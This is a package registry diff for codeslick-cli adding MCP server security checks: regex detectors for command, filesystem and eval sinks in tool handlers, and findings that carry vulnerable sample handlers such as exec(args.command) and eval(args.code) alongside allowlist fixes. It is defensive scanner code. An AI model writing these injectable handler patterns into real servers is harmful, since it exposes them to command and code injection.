codeslick-cli 1.4.2 → 1.5.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/src/lib/analyzers/helpers/mcp-detector.d.ts +22 -0
- package/dist/src/lib/analyzers/helpers/mcp-detector.d.ts.map +1 -0
- package/dist/src/lib/analyzers/helpers/mcp-detector.js +50 -0
- package/dist/src/lib/analyzers/helpers/mcp-detector.js.map +1 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.d.ts +49 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.d.ts.map +1 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.js +336 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.js.map +1 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-path-checks.d.ts +53 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-path-checks.d.ts.map +1 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-path-checks.js +218 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-path-checks.js.map +1 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-protocol-checks.d.ts +51 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-protocol-checks.d.ts.map +1 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-protocol-checks.js +164 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-protocol-checks.js.map +1 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security.d.ts +66 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security.d.ts.map +1 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security.js +52 -0
- package/dist/src/lib/analyzers/javascript/security-checks/mcp-security.js.map +1 -0
- package/dist/src/lib/analyzers/javascript-analyzer.d.ts.map +1 -1
- package/dist/src/lib/analyzers/javascript-analyzer.js +3 -0
- package/dist/src/lib/analyzers/javascript-analyzer.js.map +1 -1
- package/dist/src/lib/analyzers/python/security-checks/injection-attacks.js +2 -2
- package/dist/src/lib/analyzers/python/security-checks/injection-attacks.js.map +1 -1
- package/dist/src/lib/analyzers/python/security-checks/mcp-security.d.ts +26 -0
- package/dist/src/lib/analyzers/python/security-checks/mcp-security.d.ts.map +1 -0
- package/dist/src/lib/analyzers/python/security-checks/mcp-security.js +270 -0
- package/dist/src/lib/analyzers/python/security-checks/mcp-security.js.map +1 -0
- package/dist/src/lib/analyzers/python-analyzer.d.ts.map +1 -1
- package/dist/src/lib/analyzers/python-analyzer.js +3 -0
- package/dist/src/lib/analyzers/python-analyzer.js.map +1 -1
- package/dist/src/lib/analyzers/typescript-analyzer.d.ts.map +1 -1
- package/dist/src/lib/analyzers/typescript-analyzer.js +5 -0
- package/dist/src/lib/analyzers/typescript-analyzer.js.map +1 -1
- package/package.json +1 -1
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* MCP Server Detection Guard
|
|
3
|
+
*
|
|
4
|
+
* Detects whether a source file is an MCP (Model Context Protocol) server.
|
|
5
|
+
* Detection is content-based (import/decorator patterns), NOT file-extension-based.
|
|
6
|
+
* This prevents false positives from non-MCP code.
|
|
7
|
+
*
|
|
8
|
+
* Used as a guard before MCP-specific security checks run.
|
|
9
|
+
*
|
|
10
|
+
* @module mcp-detector
|
|
11
|
+
*/
|
|
12
|
+
/**
|
|
13
|
+
* Returns true if the given source code is an MCP server.
|
|
14
|
+
*
|
|
15
|
+
* Checks both JS/TS and Python signals — the caller does not need to know
|
|
16
|
+
* which language is being analyzed.
|
|
17
|
+
*
|
|
18
|
+
* @param code - Full source code string
|
|
19
|
+
* @returns true if any MCP server signal is detected
|
|
20
|
+
*/
|
|
21
|
+
export declare function isMcpServer(code: string): boolean;
|
|
22
|
+
//# sourceMappingURL=mcp-detector.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"mcp-detector.d.ts","sourceRoot":"","sources":["../../../../../../../src/lib/analyzers/helpers/mcp-detector.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AA0BH;;;;;;;;GAQG;AACH,wBAAgB,WAAW,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAGjD"}
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* MCP Server Detection Guard
|
|
4
|
+
*
|
|
5
|
+
* Detects whether a source file is an MCP (Model Context Protocol) server.
|
|
6
|
+
* Detection is content-based (import/decorator patterns), NOT file-extension-based.
|
|
7
|
+
* This prevents false positives from non-MCP code.
|
|
8
|
+
*
|
|
9
|
+
* Used as a guard before MCP-specific security checks run.
|
|
10
|
+
*
|
|
11
|
+
* @module mcp-detector
|
|
12
|
+
*/
|
|
13
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
14
|
+
exports.isMcpServer = isMcpServer;
|
|
15
|
+
/**
|
|
16
|
+
* Signals that identify a TypeScript/JavaScript MCP server file.
|
|
17
|
+
* Order: most specific first (SDK imports > API usage > class instantiation).
|
|
18
|
+
*/
|
|
19
|
+
const JS_MCP_PATTERNS = [
|
|
20
|
+
/@modelcontextprotocol\/sdk/, // Any import from the SDK package
|
|
21
|
+
/from\s+['"]@modelcontextprotocol\//, // ESM import from SDK
|
|
22
|
+
/require\s*\(\s*['"]@modelcontextprotocol\//, // CJS require from SDK
|
|
23
|
+
/new\s+McpServer\s*\(/, // new McpServer() instantiation
|
|
24
|
+
];
|
|
25
|
+
/**
|
|
26
|
+
* Signals that identify a Python MCP server file.
|
|
27
|
+
*/
|
|
28
|
+
const PY_MCP_PATTERNS = [
|
|
29
|
+
/from\s+mcp\.server\s+import/, // from mcp.server import Server
|
|
30
|
+
/from\s+mcp\s+import\s+FastMCP/, // from mcp import FastMCP
|
|
31
|
+
/import\s+mcp\b/, // import mcp (word boundary prevents mcp_client etc.)
|
|
32
|
+
/@mcp\.tool\s*\(\s*\)/, // @mcp.tool() decorator
|
|
33
|
+
/@server\.call_tool/, // @server.call_tool decorator (any form)
|
|
34
|
+
];
|
|
35
|
+
const ALL_PATTERNS = [...JS_MCP_PATTERNS, ...PY_MCP_PATTERNS];
|
|
36
|
+
/**
|
|
37
|
+
* Returns true if the given source code is an MCP server.
|
|
38
|
+
*
|
|
39
|
+
* Checks both JS/TS and Python signals — the caller does not need to know
|
|
40
|
+
* which language is being analyzed.
|
|
41
|
+
*
|
|
42
|
+
* @param code - Full source code string
|
|
43
|
+
* @returns true if any MCP server signal is detected
|
|
44
|
+
*/
|
|
45
|
+
function isMcpServer(code) {
|
|
46
|
+
if (!code.trim())
|
|
47
|
+
return false;
|
|
48
|
+
return ALL_PATTERNS.some(pattern => pattern.test(code));
|
|
49
|
+
}
|
|
50
|
+
//# sourceMappingURL=mcp-detector.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"mcp-detector.js","sourceRoot":"","sources":["../../../../../../../src/lib/analyzers/helpers/mcp-detector.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;GAUG;;AAmCH,kCAGC;AApCD;;;GAGG;AACH,MAAM,eAAe,GAAa;IAChC,4BAA4B,EAA0B,kCAAkC;IACxF,oCAAoC,EAAkB,sBAAsB;IAC5E,4CAA4C,EAAU,uBAAuB;IAC7E,sBAAsB,EAAgC,gCAAgC;CACvF,CAAC;AAEF;;GAEG;AACH,MAAM,eAAe,GAAa;IAChC,6BAA6B,EAAyB,gCAAgC;IACtF,+BAA+B,EAAuB,0BAA0B;IAChF,gBAAgB,EAAsC,sDAAsD;IAC5G,sBAAsB,EAAgC,wBAAwB;IAC9E,oBAAoB,EAAmC,yCAAyC;CACjG,CAAC;AAEF,MAAM,YAAY,GAAa,CAAC,GAAG,eAAe,EAAE,GAAG,eAAe,CAAC,CAAC;AAExE;;;;;;;;GAQG;AACH,SAAgB,WAAW,CAAC,IAAY;IACtC,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE;QAAE,OAAO,KAAK,CAAC;IAC/B,OAAO,YAAY,CAAC,IAAI,CAAC,OAAO,CAAC,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC;AAC1D,CAAC"}
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* MCP Execution Security Checks — JavaScript/TypeScript
|
|
3
|
+
*
|
|
4
|
+
* Contains code-execution and injection checks for MCP tool handlers:
|
|
5
|
+
* MCP-JS-001 — Unvalidated tool parameter to dangerous sink
|
|
6
|
+
* MCP-JS-007 — eval / Function constructor in tool handler
|
|
7
|
+
* MCP-JS-002 — Command injection via shell: true
|
|
8
|
+
*
|
|
9
|
+
* These checks share brace-depth tracking to scope detection to tool handler
|
|
10
|
+
* callbacks only, avoiding false positives on exec() calls outside handlers.
|
|
11
|
+
*
|
|
12
|
+
* @module mcp-security-exec-checks
|
|
13
|
+
*/
|
|
14
|
+
import { SecurityVulnerability } from '../../types';
|
|
15
|
+
import { CreateVulnerabilityFn } from './mcp-security';
|
|
16
|
+
/**
|
|
17
|
+
* Scans for tool handler callbacks that pass unvalidated tool arguments directly
|
|
18
|
+
* to dangerous command-execution or filesystem sinks.
|
|
19
|
+
*
|
|
20
|
+
* Algorithm:
|
|
21
|
+
* 1. Walk lines looking for server.tool( entry points.
|
|
22
|
+
* 2. Once inside a handler, track brace depth to know when the handler ends.
|
|
23
|
+
* 3. On each line inside the handler, check if a tool arg access AND a dangerous
|
|
24
|
+
* sink appear together → flag MCP-JS-001.
|
|
25
|
+
*
|
|
26
|
+
* Precision guarantee: exec() calls OUTSIDE a tool handler are not flagged,
|
|
27
|
+
* avoiding the false-positive class described in the design change note.
|
|
28
|
+
*/
|
|
29
|
+
export declare function checkUnvalidatedSink(code: string, createVulnerability: CreateVulnerabilityFn): SecurityVulnerability[];
|
|
30
|
+
/**
|
|
31
|
+
* MCP-JS-007: eval / Function constructor in tool handler
|
|
32
|
+
* Severity: CRITICAL (CVSS 9.8) | CWE-95
|
|
33
|
+
*
|
|
34
|
+
* Detects dynamic code evaluation inside MCP tool handler callbacks.
|
|
35
|
+
* Only flags eval/Function/vm calls that appear within the lexical scope
|
|
36
|
+
* of a server.tool() callback (brace-depth tracking).
|
|
37
|
+
*/
|
|
38
|
+
export declare function checkEvalInHandler(code: string, createVulnerability: CreateVulnerabilityFn): SecurityVulnerability[];
|
|
39
|
+
/**
|
|
40
|
+
* MCP-JS-002: Command injection via shell: true
|
|
41
|
+
* Severity: CRITICAL (CVSS 9.8) | CWE-78
|
|
42
|
+
*
|
|
43
|
+
* spawn/execFile with { shell: true } turns argument arrays into shell strings —
|
|
44
|
+
* making otherwise safe argument-array APIs injectable. Only flags when both
|
|
45
|
+
* the spawn/execFile call AND shell: true appear on the same line inside a
|
|
46
|
+
* tool handler.
|
|
47
|
+
*/
|
|
48
|
+
export declare function checkShellTrue(code: string, createVulnerability: CreateVulnerabilityFn): SecurityVulnerability[];
|
|
49
|
+
//# sourceMappingURL=mcp-security-exec-checks.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"mcp-security-exec-checks.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AACpD,OAAO,EAAE,qBAAqB,EAAE,MAAM,gBAAgB,CAAC;AA6BvD;;;;;;;;;;;;GAYG;AACH,wBAAgB,oBAAoB,CAClC,IAAI,EAAE,MAAM,EACZ,mBAAmB,EAAE,qBAAqB,GACzC,qBAAqB,EAAE,CAoJzB;AAMD;;;;;;;GAOG;AACH,wBAAgB,kBAAkB,CAChC,IAAI,EAAE,MAAM,EACZ,mBAAmB,EAAE,qBAAqB,GACzC,qBAAqB,EAAE,CA+DzB;AAOD;;;;;;;;GAQG;AACH,wBAAgB,cAAc,CAC5B,IAAI,EAAE,MAAM,EACZ,mBAAmB,EAAE,qBAAqB,GACzC,qBAAqB,EAAE,CA8DzB"}
|
|
@@ -0,0 +1,336 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* MCP Execution Security Checks — JavaScript/TypeScript
|
|
4
|
+
*
|
|
5
|
+
* Contains code-execution and injection checks for MCP tool handlers:
|
|
6
|
+
* MCP-JS-001 — Unvalidated tool parameter to dangerous sink
|
|
7
|
+
* MCP-JS-007 — eval / Function constructor in tool handler
|
|
8
|
+
* MCP-JS-002 — Command injection via shell: true
|
|
9
|
+
*
|
|
10
|
+
* These checks share brace-depth tracking to scope detection to tool handler
|
|
11
|
+
* callbacks only, avoiding false positives on exec() calls outside handlers.
|
|
12
|
+
*
|
|
13
|
+
* @module mcp-security-exec-checks
|
|
14
|
+
*/
|
|
15
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
16
|
+
exports.checkUnvalidatedSink = checkUnvalidatedSink;
|
|
17
|
+
exports.checkEvalInHandler = checkEvalInHandler;
|
|
18
|
+
exports.checkShellTrue = checkShellTrue;
|
|
19
|
+
// ─── Detection patterns ────────────────────────────────────────────────────
|
|
20
|
+
/** Matches the start of a tool handler registration: server.tool( or mcp.tool( */
|
|
21
|
+
const TOOL_HANDLER_START = /(?:server|mcp)\.tool\s*\(/;
|
|
22
|
+
/**
|
|
23
|
+
* Matches the parameter variable name(s) in a tool callback signature.
|
|
24
|
+
* Covers: ({ args }), ({ args, extra }), (params), (input), (request), (req)
|
|
25
|
+
*/
|
|
26
|
+
const TOOL_PARAM_NAMES = /\(\s*\{?\s*(args|params|input|request|req)\b/;
|
|
27
|
+
// Note: eval() and new Function() are not included here — they are detected
|
|
28
|
+
// with richer context (vm module variants, handler scope) in checkEvalInHandler() (MCP-JS-007).
|
|
29
|
+
/** Dangerous command-execution sinks */
|
|
30
|
+
const CMD_SINKS = /\b(exec|execSync|spawn|execFile|spawnSync)\s*\(/;
|
|
31
|
+
/** Dangerous filesystem sinks */
|
|
32
|
+
const FS_SINKS = /\bfs\.(writeFile|readFile|unlink|createReadStream|createWriteStream|appendFile)\s*\(/;
|
|
33
|
+
/**
|
|
34
|
+
* Matches direct access to tool argument properties.
|
|
35
|
+
* e.g. args.command, params.arguments[0], input.path
|
|
36
|
+
*/
|
|
37
|
+
const TOOL_ARG_ACCESS = /\b(?:args|params|input|request|req)\s*(?:\.|\.arguments\s*\[|\[)/;
|
|
38
|
+
// ─── MCP-JS-001: Unvalidated tool parameter to dangerous sink ─────────────
|
|
39
|
+
/**
|
|
40
|
+
* Scans for tool handler callbacks that pass unvalidated tool arguments directly
|
|
41
|
+
* to dangerous command-execution or filesystem sinks.
|
|
42
|
+
*
|
|
43
|
+
* Algorithm:
|
|
44
|
+
* 1. Walk lines looking for server.tool( entry points.
|
|
45
|
+
* 2. Once inside a handler, track brace depth to know when the handler ends.
|
|
46
|
+
* 3. On each line inside the handler, check if a tool arg access AND a dangerous
|
|
47
|
+
* sink appear together → flag MCP-JS-001.
|
|
48
|
+
*
|
|
49
|
+
* Precision guarantee: exec() calls OUTSIDE a tool handler are not flagged,
|
|
50
|
+
* avoiding the false-positive class described in the design change note.
|
|
51
|
+
*/
|
|
52
|
+
function checkUnvalidatedSink(code, createVulnerability) {
|
|
53
|
+
const vulnerabilities = [];
|
|
54
|
+
const lines = code.split('\n');
|
|
55
|
+
let inToolHandler = false;
|
|
56
|
+
let braceDepth = 0;
|
|
57
|
+
// Track how many open-braces appeared on the server.tool( line itself before
|
|
58
|
+
// the callback arrow/function, so we know the starting depth to compare against.
|
|
59
|
+
let handlerStartDepth = 0;
|
|
60
|
+
for (let i = 0; i < lines.length; i++) {
|
|
61
|
+
const line = lines[i];
|
|
62
|
+
const lineNumber = i + 1;
|
|
63
|
+
if (!inToolHandler) {
|
|
64
|
+
// Detect entry into a tool handler
|
|
65
|
+
if (TOOL_HANDLER_START.test(line) && TOOL_PARAM_NAMES.test(line)) {
|
|
66
|
+
inToolHandler = true;
|
|
67
|
+
// Count net brace change on this line to establish the baseline depth
|
|
68
|
+
// the handler's own opening brace will push us above.
|
|
69
|
+
const opens = (line.match(/\{/g) || []).length;
|
|
70
|
+
const closes = (line.match(/\}/g) || []).length;
|
|
71
|
+
braceDepth += opens - closes;
|
|
72
|
+
handlerStartDepth = braceDepth;
|
|
73
|
+
continue;
|
|
74
|
+
}
|
|
75
|
+
// Also handle multi-line: server.tool( on one line, callback with args on next
|
|
76
|
+
if (TOOL_HANDLER_START.test(line)) {
|
|
77
|
+
// Look ahead up to 3 lines for the callback signature
|
|
78
|
+
for (let j = i + 1; j <= Math.min(i + 3, lines.length - 1); j++) {
|
|
79
|
+
if (TOOL_PARAM_NAMES.test(lines[j])) {
|
|
80
|
+
inToolHandler = true;
|
|
81
|
+
// Accumulate brace depth from the tool-start line through the param line
|
|
82
|
+
for (let k = i; k <= j; k++) {
|
|
83
|
+
const o = (lines[k].match(/\{/g) || []).length;
|
|
84
|
+
const c = (lines[k].match(/\}/g) || []).length;
|
|
85
|
+
braceDepth += o - c;
|
|
86
|
+
}
|
|
87
|
+
handlerStartDepth = braceDepth;
|
|
88
|
+
i = j; // advance outer loop past the lookahead
|
|
89
|
+
// The param-signature line (lines[j]) may also contain a sink on
|
|
90
|
+
// the same line (e.g. `async ({ args }) => exec(args.command)`).
|
|
91
|
+
// The outer loop will `continue` after this block, skipping the
|
|
92
|
+
// inToolHandler branch for this line — so we check it right here.
|
|
93
|
+
{
|
|
94
|
+
const paramLine = lines[j];
|
|
95
|
+
const hasArgAccess = TOOL_ARG_ACCESS.test(paramLine);
|
|
96
|
+
const hasCmdSink = CMD_SINKS.test(paramLine);
|
|
97
|
+
const hasFsSink = FS_SINKS.test(paramLine);
|
|
98
|
+
if (hasArgAccess && (hasCmdSink || hasFsSink)) {
|
|
99
|
+
const sinkType = hasCmdSink ? 'command execution' : 'filesystem';
|
|
100
|
+
vulnerabilities.push(createVulnerability({
|
|
101
|
+
category: 'MCP-JS-001',
|
|
102
|
+
severity: 'CRITICAL',
|
|
103
|
+
confidence: 'HIGH',
|
|
104
|
+
message: `Unvalidated tool parameter passed directly to ${sinkType} sink`,
|
|
105
|
+
line: j + 1,
|
|
106
|
+
suggestion: 'Validate and sanitize tool arguments before passing to system calls. Use allowlists for commands and paths.',
|
|
107
|
+
owasp: 'A03:2021 - Injection',
|
|
108
|
+
cwe: 'CWE-78 OS Command Injection / CWE-22 Path Traversal',
|
|
109
|
+
pciDss: 'PCI-DSS 6.3.1',
|
|
110
|
+
attackVector: {
|
|
111
|
+
description: 'MCP tool arguments arrive from the AI model or user and must be treated as untrusted. Passing them directly to exec(), spawn(), or filesystem operations enables command injection and path traversal attacks.',
|
|
112
|
+
exploitExample: `server.tool('run', schema, async ({ args }) => exec(args.command));`,
|
|
113
|
+
realWorldImpact: [
|
|
114
|
+
'Remote code execution via command injection',
|
|
115
|
+
'Arbitrary file read/write via path traversal',
|
|
116
|
+
'Data exfiltration through crafted AI prompts',
|
|
117
|
+
'Server compromise from malicious tool arguments'
|
|
118
|
+
]
|
|
119
|
+
},
|
|
120
|
+
remediation: {
|
|
121
|
+
before: `server.tool('run', schema, async ({ args }) => exec(args.command));`,
|
|
122
|
+
after: `const ALLOWED_COMMANDS = ['ls', 'pwd'];\nserver.tool('run', schema, async ({ args }) => {\n if (!ALLOWED_COMMANDS.includes(args.command)) throw new Error('Disallowed command');\n exec(args.command);\n});`,
|
|
123
|
+
explanation: 'Apply input validation with strict allowlists before passing tool parameters to any system call.'
|
|
124
|
+
}
|
|
125
|
+
}));
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
break;
|
|
129
|
+
}
|
|
130
|
+
}
|
|
131
|
+
if (!inToolHandler) {
|
|
132
|
+
// tool( found but no matching param pattern — update brace depth and continue
|
|
133
|
+
const opens = (line.match(/\{/g) || []).length;
|
|
134
|
+
const closes = (line.match(/\}/g) || []).length;
|
|
135
|
+
braceDepth += opens - closes;
|
|
136
|
+
}
|
|
137
|
+
continue;
|
|
138
|
+
}
|
|
139
|
+
// Outside handler — still track brace depth for correctness
|
|
140
|
+
const opens = (line.match(/\{/g) || []).length;
|
|
141
|
+
const closes = (line.match(/\}/g) || []).length;
|
|
142
|
+
braceDepth += opens - closes;
|
|
143
|
+
}
|
|
144
|
+
else {
|
|
145
|
+
// Inside the tool handler
|
|
146
|
+
const opens = (line.match(/\{/g) || []).length;
|
|
147
|
+
const closes = (line.match(/\}/g) || []).length;
|
|
148
|
+
braceDepth += opens - closes;
|
|
149
|
+
// Exit when we've closed back to the depth before the handler's opening brace
|
|
150
|
+
if (braceDepth < handlerStartDepth) {
|
|
151
|
+
inToolHandler = false;
|
|
152
|
+
braceDepth = Math.max(0, braceDepth);
|
|
153
|
+
continue;
|
|
154
|
+
}
|
|
155
|
+
// Check: tool arg access flowing into a dangerous sink on the same line
|
|
156
|
+
const hasArgAccess = TOOL_ARG_ACCESS.test(line);
|
|
157
|
+
const hasCmdSink = CMD_SINKS.test(line);
|
|
158
|
+
const hasFsSink = FS_SINKS.test(line);
|
|
159
|
+
if (hasArgAccess && (hasCmdSink || hasFsSink)) {
|
|
160
|
+
const sinkType = hasCmdSink ? 'command execution' : 'filesystem';
|
|
161
|
+
// Use object-style overload to guarantee explicit CVSS 9.1 / CRITICAL severity.
|
|
162
|
+
// The legacy positional path derives severity from calculateSeverityScore() which
|
|
163
|
+
// does not know about MCP-JS-001 and would default to 'medium'.
|
|
164
|
+
vulnerabilities.push(createVulnerability({
|
|
165
|
+
category: 'MCP-JS-001',
|
|
166
|
+
severity: 'CRITICAL',
|
|
167
|
+
confidence: 'HIGH',
|
|
168
|
+
message: `Unvalidated tool parameter passed directly to ${sinkType} sink`,
|
|
169
|
+
line: lineNumber,
|
|
170
|
+
suggestion: 'Validate and sanitize tool arguments before passing to system calls. Use allowlists for commands and paths.',
|
|
171
|
+
owasp: 'A03:2021 - Injection',
|
|
172
|
+
cwe: 'CWE-78 OS Command Injection / CWE-22 Path Traversal',
|
|
173
|
+
pciDss: 'PCI-DSS 6.3.1',
|
|
174
|
+
attackVector: {
|
|
175
|
+
description: 'MCP tool arguments arrive from the AI model or user and must be treated as untrusted. Passing them directly to exec(), spawn(), or filesystem operations enables command injection and path traversal attacks.',
|
|
176
|
+
exploitExample: `server.tool('run', schema, async ({ args }) => {\n exec(args.command); // args.command is attacker-controlled\n});`,
|
|
177
|
+
realWorldImpact: [
|
|
178
|
+
'Remote code execution via command injection',
|
|
179
|
+
'Arbitrary file read/write via path traversal',
|
|
180
|
+
'Data exfiltration through crafted AI prompts',
|
|
181
|
+
'Server compromise from malicious tool arguments'
|
|
182
|
+
]
|
|
183
|
+
},
|
|
184
|
+
remediation: {
|
|
185
|
+
before: `server.tool('run', schema, async ({ args }) => {\n exec(args.command);\n});`,
|
|
186
|
+
after: `const ALLOWED_COMMANDS = ['ls', 'pwd'];\nserver.tool('run', schema, async ({ args }) => {\n if (!ALLOWED_COMMANDS.includes(args.command)) throw new Error('Disallowed command');\n exec(args.command);\n});`,
|
|
187
|
+
explanation: 'Apply input validation with strict allowlists before passing tool parameters to any system call. For filesystem operations, resolve the final path and verify it stays within an allowed directory boundary.'
|
|
188
|
+
}
|
|
189
|
+
}));
|
|
190
|
+
}
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
return vulnerabilities;
|
|
194
|
+
}
|
|
195
|
+
// ─── MCP-JS-007 ──────────────────────────────────────────────────────────────
|
|
196
|
+
const EVAL_SINKS = /\b(eval\s*\(|new\s+Function\s*\(|vm\.runInThisContext\s*\(|vm\.runInNewContext\s*\()/;
|
|
197
|
+
/**
|
|
198
|
+
* MCP-JS-007: eval / Function constructor in tool handler
|
|
199
|
+
* Severity: CRITICAL (CVSS 9.8) | CWE-95
|
|
200
|
+
*
|
|
201
|
+
* Detects dynamic code evaluation inside MCP tool handler callbacks.
|
|
202
|
+
* Only flags eval/Function/vm calls that appear within the lexical scope
|
|
203
|
+
* of a server.tool() callback (brace-depth tracking).
|
|
204
|
+
*/
|
|
205
|
+
function checkEvalInHandler(code, createVulnerability) {
|
|
206
|
+
const vulnerabilities = [];
|
|
207
|
+
const lines = code.split('\n');
|
|
208
|
+
let inToolHandler = false;
|
|
209
|
+
let braceDepth = 0;
|
|
210
|
+
for (let i = 0; i < lines.length; i++) {
|
|
211
|
+
const line = lines[i];
|
|
212
|
+
const lineNumber = i + 1;
|
|
213
|
+
const trimmed = line.trim();
|
|
214
|
+
if (!inToolHandler) {
|
|
215
|
+
if (TOOL_HANDLER_START.test(line)) {
|
|
216
|
+
inToolHandler = true;
|
|
217
|
+
braceDepth = 0;
|
|
218
|
+
}
|
|
219
|
+
}
|
|
220
|
+
if (inToolHandler) {
|
|
221
|
+
for (const ch of line) {
|
|
222
|
+
if (ch === '{')
|
|
223
|
+
braceDepth++;
|
|
224
|
+
if (ch === '}') {
|
|
225
|
+
braceDepth--;
|
|
226
|
+
if (braceDepth < 0) {
|
|
227
|
+
inToolHandler = false;
|
|
228
|
+
braceDepth = 0;
|
|
229
|
+
break;
|
|
230
|
+
}
|
|
231
|
+
}
|
|
232
|
+
}
|
|
233
|
+
if (inToolHandler && EVAL_SINKS.test(trimmed)) {
|
|
234
|
+
vulnerabilities.push(createVulnerability({
|
|
235
|
+
category: 'MCP-JS-007',
|
|
236
|
+
severity: 'CRITICAL',
|
|
237
|
+
confidence: 'HIGH',
|
|
238
|
+
message: 'Dynamic code execution (eval/Function/vm) inside MCP tool handler',
|
|
239
|
+
line: lineNumber,
|
|
240
|
+
suggestion: 'Never evaluate code strings from tool parameters. Refactor to use predefined logic or a sandboxed interpreter.',
|
|
241
|
+
owasp: 'A03:2021 - Injection',
|
|
242
|
+
cwe: 'CWE-95 Improper Neutralization of Directives in Eval',
|
|
243
|
+
pciDss: 'PCI-DSS 6.3.1',
|
|
244
|
+
attackVector: {
|
|
245
|
+
description: 'A tool handler that calls eval() or new Function() with any input creates a code injection vulnerability. Any string reaching eval() becomes executable code within the process context.',
|
|
246
|
+
exploitExample: `server.tool('run_code', schema, async ({ args }) => { eval(args.code); })`,
|
|
247
|
+
realWorldImpact: [
|
|
248
|
+
'Arbitrary code execution',
|
|
249
|
+
'Full system compromise',
|
|
250
|
+
'Data exfiltration',
|
|
251
|
+
'Privilege escalation'
|
|
252
|
+
]
|
|
253
|
+
},
|
|
254
|
+
remediation: {
|
|
255
|
+
before: `server.tool('run_code', schema, async ({ args }) => { eval(args.code); });`,
|
|
256
|
+
after: `// Redesign: never evaluate dynamic code.\n// Use a safe interpreter or predefined operations.\nconst ALLOWED_OPS = { add: (a, b) => a + b };\nserver.tool('calc', schema, async ({ args }) => ALLOWED_OPS[args.op](args.a, args.b));`,
|
|
257
|
+
explanation: 'Remove eval/Function/vm from tool handlers entirely. If code evaluation is required, use a sandboxed vm with strict resource limits and no network access.'
|
|
258
|
+
}
|
|
259
|
+
}));
|
|
260
|
+
}
|
|
261
|
+
}
|
|
262
|
+
}
|
|
263
|
+
return vulnerabilities;
|
|
264
|
+
}
|
|
265
|
+
// ─── MCP-JS-002 ──────────────────────────────────────────────────────────────
|
|
266
|
+
const SHELL_TRUE_PATTERN = /\bshell\s*:\s*true\b/;
|
|
267
|
+
const SPAWN_PATTERN = /\b(spawn|execFile|spawnSync)\s*\(/;
|
|
268
|
+
/**
|
|
269
|
+
* MCP-JS-002: Command injection via shell: true
|
|
270
|
+
* Severity: CRITICAL (CVSS 9.8) | CWE-78
|
|
271
|
+
*
|
|
272
|
+
* spawn/execFile with { shell: true } turns argument arrays into shell strings —
|
|
273
|
+
* making otherwise safe argument-array APIs injectable. Only flags when both
|
|
274
|
+
* the spawn/execFile call AND shell: true appear on the same line inside a
|
|
275
|
+
* tool handler.
|
|
276
|
+
*/
|
|
277
|
+
function checkShellTrue(code, createVulnerability) {
|
|
278
|
+
const vulnerabilities = [];
|
|
279
|
+
const lines = code.split('\n');
|
|
280
|
+
let inToolHandler = false;
|
|
281
|
+
let braceDepth = 0;
|
|
282
|
+
for (let i = 0; i < lines.length; i++) {
|
|
283
|
+
const line = lines[i];
|
|
284
|
+
const lineNumber = i + 1;
|
|
285
|
+
const trimmed = line.trim();
|
|
286
|
+
if (!inToolHandler) {
|
|
287
|
+
if (TOOL_HANDLER_START.test(line)) {
|
|
288
|
+
inToolHandler = true;
|
|
289
|
+
braceDepth = 0;
|
|
290
|
+
}
|
|
291
|
+
}
|
|
292
|
+
if (inToolHandler) {
|
|
293
|
+
for (const ch of line) {
|
|
294
|
+
if (ch === '{')
|
|
295
|
+
braceDepth++;
|
|
296
|
+
if (ch === '}') {
|
|
297
|
+
braceDepth--;
|
|
298
|
+
if (braceDepth < 0) {
|
|
299
|
+
inToolHandler = false;
|
|
300
|
+
braceDepth = 0;
|
|
301
|
+
break;
|
|
302
|
+
}
|
|
303
|
+
}
|
|
304
|
+
}
|
|
305
|
+
if (inToolHandler && SPAWN_PATTERN.test(trimmed) && SHELL_TRUE_PATTERN.test(trimmed)) {
|
|
306
|
+
vulnerabilities.push(createVulnerability({
|
|
307
|
+
category: 'MCP-JS-002',
|
|
308
|
+
severity: 'CRITICAL',
|
|
309
|
+
confidence: 'HIGH',
|
|
310
|
+
message: 'spawn/execFile with shell: true inside MCP tool handler enables command injection',
|
|
311
|
+
line: lineNumber,
|
|
312
|
+
suggestion: 'Remove shell: true. Pass arguments as an array to spawn() without shell mode.',
|
|
313
|
+
